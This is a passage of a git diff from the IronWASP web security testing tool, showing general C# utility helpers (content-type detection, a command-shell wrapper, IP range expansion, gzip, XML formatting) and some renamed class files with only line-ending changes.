TrimmedText.Contains("(") || TrimmedText.Contains(")"))) + return false; + + try + { + Jint.Expressions.Program Prog = JintEngine.Compile(Text, false); + if (Prog.Statements.Count == 0) return false; + } + catch { return false; } + return true; + } + + public static bool IsCss(string Text) + { + string TrimmedText = Text.Trim(); + if (TrimmedText.StartsWith("<") || TrimmedText.StartsWith("{") || TrimmedText.StartsWith("[") || TrimmedText.EndsWith(">")) + return false; + if (!(TrimmedText.Contains("{") || TrimmedText.Contains("}") || TrimmedText.Contains(":") || TrimmedText.Contains(";") || TrimmedText.Contains("@"))) + return false; + + CssFx.CssStyleSheet ParsedCss = IronCss.Parse(Text); + if (ParsedCss == null) + { + return false; + } + else + { + if (ParsedCss.Statements.Count > 0 || ParsedCss.Comments.Count > 0) + { + return true; + } + else + { + return false; + } + } + } + + public static bool IsJson(string Text) + { + string TrimmedText = Text.Trim(); + if(TrimmedText.StartsWith("[") && TrimmedText.EndsWith("]")) + { + TrimmedText = TrimmedText.TrimStart('[').TrimEnd(']').Trim(); + } + if (TrimmedText.StartsWith("{") && TrimmedText.EndsWith("}")) + { + try + { + JsonConvert.DeserializeObject(Text); + } + catch { return false; } + return true; + } + else + { + return false; + } + } + + public static bool IsXml(string Text) + { + string TrimmedText = Text.Trim(); + if (TrimmedText.StartsWith("<") && TrimmedText.EndsWith(">")) + { + try + { + XmlDocument Doc = new XmlDocument(); + Doc.XmlResolver = null; + Doc.LoadXml(TrimmedText); + } + catch { return false; } + return true; + } + else + { + return false; + } + } + + public static bool IsSoap(string Text) + { + string TrimmedText = Text.Trim(); + if (TrimmedText.StartsWith("<") && TrimmedText.EndsWith(">")) + { + try + { + XmlDocument Doc = new XmlDocument(); + Doc.XmlResolver = null; + Doc.LoadXml(TrimmedText); + if (Doc.DocumentElement.LocalName == "Envelope") + { + if (Doc.DocumentElement.ChildNodes.Count == 1 && Doc.DocumentElement.ChildNodes[0].LocalName == "Body") + { + return true; + } + else if (Doc.DocumentElement.ChildNodes.Count == 2 && Doc.DocumentElement.ChildNodes[0].LocalName == "Header" && Doc.DocumentElement.ChildNodes[1].LocalName == "Body") + { + return true; + } + } + } + catch {} + } + return false; + } + + + public static bool IsBinary(byte[] Bytes) + { + if (Bytes.Length > 10) + { + if (Bytes[0] == 255 && Bytes[1] == 216 && Bytes[2] == 255) return true;//jpeg + if (Bytes[0] == 71 && Bytes[1] == 73 && Bytes[2] == 70 && Bytes[Bytes.Length - 2] == 0 && Bytes[Bytes.Length - 1] == 59) return true;//gif + if (Bytes[0] == 137 && Bytes[1] == 80 && Bytes[2] == 78 && Bytes[3] == 71 && Bytes[4] == 13 && Bytes[5] == 10 && Bytes[6] == 26 && Bytes[7] == 10) return true;//png + if (Bytes[0] == 80 && Bytes[1] == 75 && Bytes[2] == 3 && Bytes[3] == 4) return true;//zip + if (Bytes[0] == 37 && Bytes[1] == 80 && Bytes[2] == 68 && Bytes[3] == 70) return true;//pdf + if (Bytes[0] == 172 && Bytes[1] == 237 && Bytes[2] == 0) return true;//Java Serialized Object + if (Bytes[0] == 3 && Bytes[1] == 0) return true;//Action Message Format + } + if ((new List(Bytes)).Contains(0)) + return true; + return false; + } + + public static bool IsBinary(string Text) + { + try + { + return IsBinary(Encoding.UTF8.GetBytes(Text)); + } + catch + { + if (Text.Contains("\0")) + return true; + else + return false; + } + } + + public static bool IsEven(int Num) + { + return Num % 2 == 0; + } + + public static string GetCharsetFromContentType(string ContentType) + { + string Charset = ""; + int Loc = ContentType.IndexOf("charset="); + if (Loc >= 0) + { + Charset = ContentType.Substring(Loc + 8).Trim(); + } + return Charset; + } + + public static string Shell(string Command) + { + try + { + string[] Result = new string[]{"",""}; + Process P = new Process(); + try + { + P.StartInfo.FileName = "cmd.exe"; + P.StartInfo.UseShellExecute = false; + P.StartInfo.RedirectStandardInput = true; + P.StartInfo.RedirectStandardError = true; + P.StartInfo.RedirectStandardOutput = true; + P.StartInfo.CreateNoWindow = true; + P.Start(); + P.StandardInput.WriteLine(Command); + P.StandardInput.WriteLine("exit"); + Result[0] = P.StandardOutput.ReadToEnd(); + Result[1] = P.StandardError.ReadToEnd(); + P.WaitForExit(); + } + catch { Result[1] = "Command Execution failed"; } + finally + { + P.Close(); + } + return string.Format("{0}\r\n{1}", Result[0], Result[1]); + } + catch { return "Command Execution failed"; } + } + + public static void Run(string Executable) + { + try + { + Process.Start(Executable); + } + catch(Exception Exp) + { + IronException.Report("Unable to start external application", Exp); + } + } + + public static void RunWith(string Executable, string Arguments) + { + try + { + Process.Start(Executable, Arguments); + } + catch (Exception Exp) + { + IronException.Report("Unable to start external application", Exp); + } + } + + public static void RunInShellWith(string Executable, string Arguments) + { + try + { + ProcessStartInfo Info = new ProcessStartInfo(); + Info.UseShellExecute = true; + Info.CreateNoWindow = false; + Info.Arguments = "/k " + Executable + " " + Arguments; + Info.FileName = "cmd"; + Info.WindowStyle = ProcessWindowStyle.Normal; + Process P = Process.Start(Info); + } + catch (Exception Exp) + { + IronException.Report("Unable to start external application", Exp); + } + } + + public static int GetPercent(int One, int Two) + { + Double O; + Double T; + if (Two > One) + { + O = (Double)One; + T = (Double)Two; + } + else + { + O = (Double)Two; + T = (Double)One; + } + int Per = (int)((O / T) * 100.0); + return 100 - Per; + } + + public static void ExecuteMethod(ThreadStart PTS) + { + PTS(); + } + + public static void ExecuteMethodP(ParameterizedThreadStart PTS, object Obj) + { + PTS(Obj); + } + + public static object[] ToDotNetArray(object O) + { + object[] Values = new object[0]; + string Type = O.GetType().FullName; + switch(Type) + { + case("IronRuby.Builtins.RubyArray"): + Values = new object[(O as IronRuby.Builtins.RubyArray).Count]; + (O as IronRuby.Builtins.RubyArray).CopyTo(Values, 0); + break; + case("IronPython.Runtime.List"): + Values = new object[(O as IronPython.Runtime.List).Count]; + (O as IronPython.Runtime.List).CopyTo(Values, 0); + break; + } + return Values; + } + public static List ToDotNetList(object O) + { + return new List(ToDotNetArray(O)); + } + + public static string CamelCaseToUnderScore(string CamelCase) + { + StringBuilder SB = new StringBuilder(); + for(int i=0; i < CamelCase.Length; i++) + { + string LowerChar = CamelCase[i].ToString().ToLower(); + if (i > 0) + { + if (!Char.IsUpper(CamelCase[i - 1]) && Char.IsUpper(CamelCase[i])) + { + SB.Append("_"); + } + } + SB.Append(LowerChar); + } + return SB.ToString(); + } + + public static string EscapeDoubleQuotes(string Input) + { + StringBuilder Output = new StringBuilder(); + bool EscapeNext = false; + for (int i = 0; i < Input.Length; i++) + { + char C = Input[i]; + if (C == '"') + { + if (!EscapeNext) + { + Output.Append("\\"); + } + } + Output.Append(C.ToString()); + + if(C == '\\') + { + if (EscapeNext) + { + EscapeNext = false;//there is a \ before this escaping this \ + } + else + { + EscapeNext = true; + } + } + else + { + EscapeNext = false; + } + } + return Output.ToString(); + } + + public static List SplitLines(string Content) + { + List Result = new List(); + string[] Split = null; + if (Content.Contains("\n")) + { + Split = Content.Split(new char[] { '\n' }); + } + else + { + Split = Content.Split(new char[] { '\r' }); + } + for (int i = 0; i < Split.Length; i++) + { + string Trimmed = Split[i].Trim('\r').Trim('\n'); + if(Trimmed.Length > 0) Result.Add(Trimmed); + } + return Result; + } + + public static string CreateString(char C, int Repeat) + { + return new String(C, Repeat); + } + + public static bool IsXmlContentSame(string One, string Two) + { + XmlDocument XmlOne = new XmlDocument(); + XmlOne.XmlResolver = null; + XmlOne.LoadXml(One); + XmlDocument XmlTwo = new XmlDocument(); + XmlTwo.XmlResolver = null; + XmlTwo.LoadXml(Two); + + if (XmlOne.ChildNodes.Count == XmlTwo.ChildNodes.Count) + { + if (XmlOne.ChildNodes.Count > 0) + { + for (int i = 0; i < XmlOne.ChildNodes.Count; i++) + { + if (!IsXmlNodeSame(XmlOne.ChildNodes[i], XmlTwo.ChildNodes[i])) + { + return false; + } + } + return true; + } + else + { + if (XmlOne.InnerText == XmlTwo.InnerText) + { + return true; + } + else + { + return false; + } + } + } + else + { + return false; + } + } + + public static string MultiplyString(string StrToMulti, int Factor) + { + StringBuilder SB = new StringBuilder(); + for (int i = 0; i < Factor; i++) + { + SB.Append(StrToMulti); + } + return SB.ToString(); + } + + public static string GetRefreshHeaderUrl(string Header) + { + Match M = Regex.Match(Header, @"\s*\d+;\s*url\s*=\s*(.*)", RegexOptions.IgnoreCase); + if (M.Success) + { + if (M.Groups.Count > 1) + { + string TrimmedUrl = M.Groups[1].Value.Trim(); + if (TrimmedUrl.StartsWith("'")) + { + return TrimmedUrl.Trim('\''); + } + else if (TrimmedUrl.StartsWith("\"")) + { + return TrimmedUrl.Trim('"'); + } + else + { + return TrimmedUrl; + } + } + } + throw new Exception("Invalid Refresh Header"); + } + + public static Bitmap CaptureScreen() + { + Bitmap BM = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); + Graphics G = Graphics.FromImage(BM as Image); + G.CopyFromScreen(0, 0, 0, 0, BM.Size); + //BM.Save(Config.Path + "\\sh.bmp", ImageFormat.Bmp); + return BM; + } + + public static bool IsValidIpv4(string Input) + { + try + { + IPAddress IpAdd = IPAddress.Parse(Input); + if (IpAdd.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork) + { + return true; + } + } + catch + { + return false; + } + return false; + } + + public static bool IsValidIpv6(string Input) + { + try + { + IPAddress IpAdd = IPAddress.Parse(Input); + if (IpAdd.AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6) + { + return true; + } + } + catch + { + return false; + } + return false; + } + + public static List NwToIp(string NetworkAddress) + { + List IPs = new List(); + if (NetworkAddress.Contains("/")) + { + string[] Parts = NetworkAddress.Split('/'); + if (Parts.Length != 2) + { + throw new Exception("Invalid address format"); + } + string[] NwParts = GetCleanNwAddr(Parts[0]); + if (NwParts.Length == 1) + { + throw new Exception(NwParts[0]); + } + int SM = 0; + try + { + SM = Int32.Parse(Parts[1].Trim()); + if (SM < 1 || SM > 31) throw new Exception(); + } + catch + { + throw new Exception("Invalid CIDR number"); + } + int Octect = SM / 8; + int Position = SM % 8; + string[] NwAddr = new string[4]; + for (int i = 0; i < 4; i++) + { + if (i == Octect) + { + int OctNum = Int32.Parse(NwParts[i]); + string OctBin = Convert.ToString(OctNum, 2).PadLeft(8, '0'); + string OctBinPrefix = OctBin.Substring(0, Position); + int Lowest = Convert.ToInt32(OctBinPrefix.PadRight(8, '0'), 2); + int Highest = Convert.ToInt32(OctBinPrefix.PadRight(8, '1'), 2); + NwAddr[i] = string.Format("{0}-{1}", Lowest, Highest); + } + else if(i > Octect) + { + NwAddr[i] = "0-255"; + } + else + { + NwAddr[i] = NwParts[i]; + } + } + IPs = GetOctectRange(NwAddr, 0); + if (IPs.Count > 1) + { + IPs.RemoveAt(0);//Remove network address + IPs.RemoveAt(IPs.Count - 1);//Remove broadcast address + } + } + else if (NetworkAddress.Contains("-")) + { + string[] NwParts = GetCleanNwAddr(NetworkAddress); + if (NwParts.Length != 4) throw new Exception(NwParts[0]); + IPs.AddRange(GetOctectRange(NwParts, 0)); + } + return IPs; + } + + static List GetOctectRange(string[] NwAddr, int OctectIndex) + { + List IPs = new List(); + + if (NwAddr[OctectIndex].Contains("-")) + { + List Range = GetNumberRange(NwAddr[OctectIndex]); + foreach (int Number in Range) + { + if (OctectIndex == 3) + { + IPs.Add(string.Format("{0}.{1}.{2}.{3}", NwAddr[0], NwAddr[1], NwAddr[2], Number)); + } + else + { + string[] NewNwAddr = new string[4]; + NwAddr.CopyTo(NewNwAddr, 0); + NewNwAddr[OctectIndex] = Number.ToString(); + IPs.AddRange(GetOctectRange(NewNwAddr, OctectIndex + 1)); + } + } + } + else + { + if (OctectIndex == 3) + { + IPs.Add(string.Format("{0}.{1}.{2}.{3}", NwAddr[0], NwAddr[1], NwAddr[2], NwAddr[3])); + } + else + { + IPs.AddRange(GetOctectRange(NwAddr, OctectIndex + 1)); + } + } + return IPs; + } + + public static string[] GetCleanNwAddr(string NwAddr) + { + string[] Parts = NwAddr.Trim().Split('.'); + string[] Result = new string[4]; + if (Parts.Length != 4) + { + return new string[] {"Invalid Network address"}; + } + for (int i = 0; i < 4; i++) + { + List Nums = new List(); + if (Parts[i].Contains("-")) + { + string[] SubParts = Parts[i].Split('-'); + if (SubParts.Length != 2) + { + return new string[] { "Invalid Network address" }; + } + try + { + int FirstNum = Int32.Parse(SubParts[0].Trim()); + int LastNum = Int32.Parse(SubParts[1].Trim()); + if (FirstNum >= LastNum) + { + return new string[] { "Invalid address range" }; + } + Nums.Add(FirstNum); + Nums.Add(LastNum); + } + catch + { + return new string[] { "Invalid Network address" }; + } + } + else + { + try + { + Nums.Add(Int32.Parse(Parts[i].Trim())); + } + catch + { + return new string[] { "Invalid Network address" }; + } + } + foreach (int Num in Nums) + { + if ((Num < 0 || Num > 255) || ((i == 0) && (Num < 1 || Num > 223))) + { + return new string[] { "Invalid Network address" }; + } + } + if (Nums.Count == 1) + { + Result[i] = Nums[0].ToString(); + } + else if (Nums.Count == 2) + { + Result[i] = string.Format("{0}-{1}", Nums[0], Nums[1]); + } + } + return Result; + } + + public static bool HasInvalidUrlCharacters(string _UrlToCheck) + { + + foreach (string C in UrlInvalidChars) + { + if (_UrlToCheck.Contains(C)) return true; + } + return false; + } + + public static byte[] GzipEncode(string Input) + { + return GzipEncodeBytes(Encoding.UTF8.GetBytes(Input)); + } + + public static byte[] GzipEncodeBytes(byte[] Input) + { + using (MemoryStream MS = new MemoryStream()) + { + using (GZipStream GS = new GZipStream(MS, CompressionMode.Compress)) + { + GS.Write(Input, 0, Input.Length); + } + return MS.ToArray(); + } + } + + public static string GzipDecode(byte[] Input) + { + return Encoding.UTF8.GetString(GzipDecodeToBytes(Input)); + } + + public static byte[] GzipDecodeToBytes(byte[] Input) + { + using (GZipStream GS = new GZipStream(new MemoryStream(Input), CompressionMode.Decompress)) + { + const int Size = 4096; + byte[] Buffer = new byte[Size]; + using (MemoryStream MS = new MemoryStream()) + { + int Count = 0; + do + { + Count = GS.Read(Buffer, 0, Size); + if (Count > 0) + { + MS.Write(Buffer, 0, Count); + } + } + while (Count > 0); + return MS.ToArray(); + } + } + } + + public static Newtonsoft.Json.Linq.JToken ParseAsJson(string Input) + { + try + { + return Newtonsoft.Json.Linq.JObject.Parse(Input); + } + catch + { + return Newtonsoft.Json.Linq.JArray.Parse(Input); + } + } + + static List GetNumberRange(string Range) + { + List Numbers = new List(); + string[] RangeParts = Range.Split('-'); + if(RangeParts.Length != 2) + { + throw new Exception("Invalid range"); + } + int Start = Int32.Parse(RangeParts[0].Trim()); + int End = Int32.Parse(RangeParts[1].Trim()); + for (int i = Start; i <= End; i++) + { + Numbers.Add(i); + } + return Numbers; + } + + static bool IsXmlNodeSame(XmlNode One, XmlNode Two) + { + if (One.ChildNodes.Count == Two.ChildNodes.Count) + { + if (One.ChildNodes.Count > 0) + { + for (int i = 0; i < One.ChildNodes.Count; i++) + { + if (!IsXmlNodeSame(One.ChildNodes[i], Two.ChildNodes[i])) + { + return false; + } + } + return true; + } + else + { + if (One.InnerText == Two.InnerText) + { + return true; + } + else + { + return false; + } + } + } + else + { + return false; + } + } + + public static string BeautifyXml(string XmlInput) + { + XmlDocument Xdoc = new XmlDocument(); + Xdoc.XmlResolver = null; + Xdoc.LoadXml(XmlInput); + + StringBuilder sb = new StringBuilder(); + XmlWriterSettings settings = new XmlWriterSettings(); + settings.Indent = true; + settings.IndentChars = " "; + settings.NewLineChars = "\r\n"; + settings.NewLineHandling = NewLineHandling.Replace; + using (XmlWriter writer = XmlWriter.Create(sb, settings)) + { + Xdoc.Save(writer); + } + return sb.ToString().Split(new string[]{"?>"}, StringSplitOptions.None)[1].Trim(); + } + } +} diff --git a/IronWASP/TraceResult.cs b/Iron/TraceResult.cs similarity index 97% rename from IronWASP/TraceResult.cs rename to Iron/TraceResult.cs index 7d87661..97095c3 100644 --- a/IronWASP/TraceResult.cs +++ b/Iron/TraceResult.cs @@ -1,36 +1,36 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class TraceResult - { - public List Lines = new List(); - public List SourceLines = new List(); - public List SinkLines = new List(); - public List SourceToSinkLines = new List(); - public List SourceLineNos = new List(); - public List SinkLineNos = new List(); - public List SourceToSinkLineNos = new List(); - public List KeywordContexts = new List(); - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class TraceResult + { + public List Lines = new List(); + public List SourceLines = new List(); + public List SinkLines = new List(); + public List SourceToSinkLines = new List(); + public List SourceLineNos = new List(); + public List SinkLineNos = new List(); + public List SourceToSinkLineNos = new List(); + public List KeywordContexts = new List(); + } +} diff --git a/IronWASP/Trigger.cs b/Iron/Trigger.cs similarity index 97% rename from IronWASP/Trigger.cs rename to Iron/Trigger.cs index 4456225..9a5c63b 100644 --- a/IronWASP/Trigger.cs +++ b/Iron/Trigger.cs @@ -1,85 +1,85 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class Trigger - { - public string RequestTrigger = ""; - public string RawRequestTriggerDescription = ""; - public Request Request; - public string ResponseTrigger = ""; - public string RawResponseTriggerDescription = ""; - public Response Response; - - public string RequestTriggerDescription - { - get - { - return Tools.EncodeForTrace(this.RawRequestTriggerDescription); - } - set - { - this.RawRequestTriggerDescription = value; - } - } - public string ResponseTriggerDescription - { - get - { - return Tools.EncodeForTrace(this.RawResponseTriggerDescription); - } - set - { - this.RawResponseTriggerDescription = value; - } - } - - public Trigger(string RequestTrigger, Request Req, string ResponseTrigger, Response Res) - { - this.RequestTrigger = RequestTrigger; - this.Request = Req.GetClone(); - this.ResponseTrigger = ResponseTrigger; - this.Response = Res.GetClone(); - } - public Trigger(string RequestTrigger, string RequestTriggerDescription, Request Req, string ResponseTrigger, string ResponseTriggerDescription, Response Res) - { - this.RequestTrigger = RequestTrigger; - this.RequestTriggerDescription = RequestTriggerDescription; - this.Request = Req.GetClone(); - this.ResponseTrigger = ResponseTrigger; - this.RawResponseTriggerDescription = ResponseTriggerDescription; - this.Response = Res.GetClone(); - } - public Trigger(string RequestTrigger, Request Req) - { - this.RequestTrigger = RequestTrigger; - this.Request = Req.GetClone(); - } - public Trigger(string RequestTrigger, string RequestTriggerDescription, Request Req) - { - this.RequestTrigger = RequestTrigger; - this.RequestTriggerDescription = RequestTriggerDescription; - this.Request = Req.GetClone(); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class Trigger + { + public string RequestTrigger = ""; + public string RawRequestTriggerDescription = ""; + public Request Request; + public string ResponseTrigger = ""; + public string RawResponseTriggerDescription = ""; + public Response Response; + + public string RequestTriggerDescription + { + get + { + return Tools.EncodeForTrace(this.RawRequestTriggerDescription); + } + set + { + this.RawRequestTriggerDescription = value; + } + } + public string ResponseTriggerDescription + { + get + { + return Tools.EncodeForTrace(this.RawResponseTriggerDescription); + } + set + { + this.RawResponseTriggerDescription = value; + } + } + + public Trigger(string RequestTrigger, Request Req, string ResponseTrigger, Response Res) + { + this.RequestTrigger = RequestTrigger; + this.Request = Req.GetClone(); + this.ResponseTrigger = ResponseTrigger; + this.Response = Res.GetClone(); + } + public Trigger(string RequestTrigger, string RequestTriggerDescription, Request Req, string ResponseTrigger, string ResponseTriggerDescription, Response Res) + { + this.RequestTrigger = RequestTrigger; + this.RequestTriggerDescription = RequestTriggerDescription; + this.Request = Req.GetClone(); + this.ResponseTrigger = ResponseTrigger; + this.RawResponseTriggerDescription = ResponseTriggerDescription; + this.Response = Res.GetClone(); + } + public Trigger(string RequestTrigger, Request Req) + { + this.RequestTrigger = RequestTrigger; + this.Request = Req.GetClone(); + } + public Trigger(string RequestTrigger, string RequestTriggerDescription, Request Req) + { + this.RequestTrigger = RequestTrigger; + this.RequestTriggerDescription = RequestTriggerDescription; + this.Request = Req.GetClone(); + } + } +} diff --git a/IronWASP/Triggers.cs b/Iron/Triggers.cs similarity index 97% rename from IronWASP/Triggers.cs rename to Iron/Triggers.cs index 35016ed..a9c1184 100644 --- a/IronWASP/Triggers.cs +++ b/Iron/Triggers.cs @@ -1,81 +1,81 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class Triggers - { - List TriggerList = new List(); - //List RequestTriggers = new List(); - //List ResponseTriggers = new List(); - - public void Add(string RequestTrigger, Request Req, string ResponseTrigger, Response Res) - { - if(Req != null || Res != null) - { - Trigger T = new Trigger(RequestTrigger, Req, ResponseTrigger, Res); - this.TriggerList.Add(T); - } - } - public void Add(string RequestTrigger, string RequestTriggerDescription, Request Req, string ResponseTrigger, string ResponseTriggerDescription, Response Res) - { - if (Req != null || Res != null) - { - Trigger T = new Trigger(RequestTrigger, RequestTriggerDescription, Req, ResponseTrigger, ResponseTriggerDescription, Res); - this.TriggerList.Add(T); - } - } - public void Add(string RequestTrigger, Request Req) - { - if (Req != null) - { - Trigger T = new Trigger(RequestTrigger, Req); - this.TriggerList.Add(T); - } - } - public void Add(string RequestTrigger, string RequestTriggerDescription, Request Req) - { - if (Req != null) - { - Trigger T = new Trigger(RequestTrigger, RequestTriggerDescription, Req); - this.TriggerList.Add(T); - } - } - internal List GetTriggers() - { - return this.TriggerList; - } - - internal Trigger GetTrigger(int TriggerNumber) - { - return TriggerList[TriggerNumber]; - } - - internal int Count - { - get - { - return this.TriggerList.Count; - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class Triggers + { + List TriggerList = new List(); + //List RequestTriggers = new List(); + //List ResponseTriggers = new List(); + + public void Add(string RequestTrigger, Request Req, string ResponseTrigger, Response Res) + { + if(Req != null || Res != null) + { + Trigger T = new Trigger(RequestTrigger, Req, ResponseTrigger, Res); + this.TriggerList.Add(T); + } + } + public void Add(string RequestTrigger, string RequestTriggerDescription, Request Req, string ResponseTrigger, string ResponseTriggerDescription, Response Res) + { + if (Req != null || Res != null) + { + Trigger T = new Trigger(RequestTrigger, RequestTriggerDescription, Req, ResponseTrigger, ResponseTriggerDescription, Res); + this.TriggerList.Add(T); + } + } + public void Add(string RequestTrigger, Request Req) + { + if (Req != null) + { + Trigger T = new Trigger(RequestTrigger, Req); + this.TriggerList.Add(T); + } + } + public void Add(string RequestTrigger, string RequestTriggerDescription, Request Req) + { + if (Req != null) + { + Trigger T = new Trigger(RequestTrigger, RequestTriggerDescription, Req); + this.TriggerList.Add(T); + } + } + internal List GetTriggers() + { + return this.TriggerList; + } + + internal Trigger GetTrigger(int TriggerNumber) + { + return TriggerList[TriggerNumber]; + } + + internal int Count + { + get + { + return this.TriggerList.Count; + } + } + } +} diff --git a/IronWASP/WaitForm.Designer.cs b/Iron/WaitForm.Designer.cs similarity index 95% rename from IronWASP/WaitForm.Designer.cs rename to Iron/WaitForm.Designer.cs index 374c323..b23c87e 100644 --- a/IronWASP/WaitForm.Designer.cs +++ b/Iron/WaitForm.Designer.cs @@ -1,187 +1,187 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class WaitForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(WaitForm)); - this.WaitFormProgressBar = new System.Windows.Forms.ProgressBar(); - this.ProjectLoadGrid = new System.Windows.Forms.DataGridView(); - this.Section = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.Count = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.Status = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.OK = new System.Windows.Forms.Button(); - ((System.ComponentModel.ISupportInitialize)(this.ProjectLoadGrid)).BeginInit(); - this.SuspendLayout(); - // - // WaitFormProgressBar - // - this.WaitFormProgressBar.Location = new System.Drawing.Point(12, 14); - this.WaitFormProgressBar.Maximum = 6; - this.WaitFormProgressBar.Minimum = 1; - this.WaitFormProgressBar.Name = "WaitFormProgressBar"; - this.WaitFormProgressBar.Size = new System.Drawing.Size(399, 23); - this.WaitFormProgressBar.Step = 1; - this.WaitFormProgressBar.TabIndex = 0; - this.WaitFormProgressBar.Value = 1; - // - // ProjectLoadGrid - // - this.ProjectLoadGrid.AllowUserToAddRows = false; - this.ProjectLoadGrid.AllowUserToDeleteRows = false; - this.ProjectLoadGrid.AllowUserToResizeRows = false; - this.ProjectLoadGrid.BackgroundColor = System.Drawing.Color.White; - this.ProjectLoadGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ProjectLoadGrid.ClipboardCopyMode = System.Windows.Forms.DataGridViewClipboardCopyMode.Disable; - this.ProjectLoadGrid.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; - this.ProjectLoadGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ProjectLoadGrid.ColumnHeadersVisible = false; - this.ProjectLoadGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.Section, - this.Count, - this.Status}); - this.ProjectLoadGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.ProjectLoadGrid.EnableHeadersVisualStyles = false; - this.ProjectLoadGrid.GridColor = System.Drawing.Color.White; - this.ProjectLoadGrid.Location = new System.Drawing.Point(12, 51); - this.ProjectLoadGrid.MultiSelect = false; - this.ProjectLoadGrid.Name = "ProjectLoadGrid"; - this.ProjectLoadGrid.RowHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; - dataGridViewCellStyle3.Alignment = 